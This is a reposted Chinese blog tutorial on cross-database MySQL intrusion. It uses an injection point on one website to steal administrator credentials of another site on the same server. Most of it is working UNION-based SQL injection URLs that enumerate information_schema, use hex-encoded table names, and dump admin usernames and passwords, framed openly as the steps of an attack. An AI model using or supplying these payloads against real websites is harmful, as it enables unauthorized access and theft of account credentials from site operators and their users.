Mysql跨库入侵介绍

入侵假想:
目标是A站点,安全性比较可以。但是在同服务器下的B站点,我们发现了一个Mysql 注入点,并且还有查询相关库的权限。

那么,我们就可以通过B站点的注入点跨库查询A站点的信息,入侵之…..
(当然你也可以把B站点入侵了,再入侵A。但不是有注入点就可以入侵的,偶?跑题了。)

大家知道在mysql5.0以后加入了 information_schemata 这个虚拟库,基本结构如下:
Information_schema-------| Schemata 存放数据库信息的表
| Tables 存放数据库中表信息的表
| Columns 存放数据库中列信息的表
…………………………………..
对我们入侵十分有帮助。
既然我们要跨库,就需要查询库信息。怎么查?上图,来得直接

还有一个要介绍的,假如我们要查询mysql库中的user表中的相关信息,我们可以这样查:

好了,XX们已经等不急了。

B站注入点:
http://www.b.com/b.php?ID=99

看看数据库基本情况
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(user(),0x2c,version())
5.x的mysql,挺好的。继续

查库:
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,schema_name/**/from/**/information_schema.schemata/**/limit/**/0,1

这样查出来的就是mysql中的第一个数据库,想要查第二个数据库就将limit 0,1改为limit 1,1 
以此类推。


有人就要问了,你怎么知道A站点的数据库是哪个呀?
这个嘛,1.Load_file,要看运气
2.猜猜,还可以看A站是不是整站程序,凭经验猜猜,像helen这样的牛B社工猜出来没问题。
通过上面的操作,我们已经获取了A站点的数据库名 adb(假设)

查管理员表:
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=0x616462/**/limit/**/0,1、
………
得到管理员表为 adb_admin

查管理员中表的字段:
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x6164625F61646D696E/**/limit/**/0,1
…………….
得到管理员表字段为 admin_name admin_pass

查管理员帐号信息:
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(admin_name,0x2c,admin_pass)/**/from/**/adb.adb_admin/**/limit/**/0,1
…………………
OK到这里A站点的管理员信息也就查询出来了,XX们,继续入侵工作

注:
adb的Hex为0x616462
adb_admin的Hex为0x6164625F61646D696E

, 的Hex为0x2c


转自:老邪博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值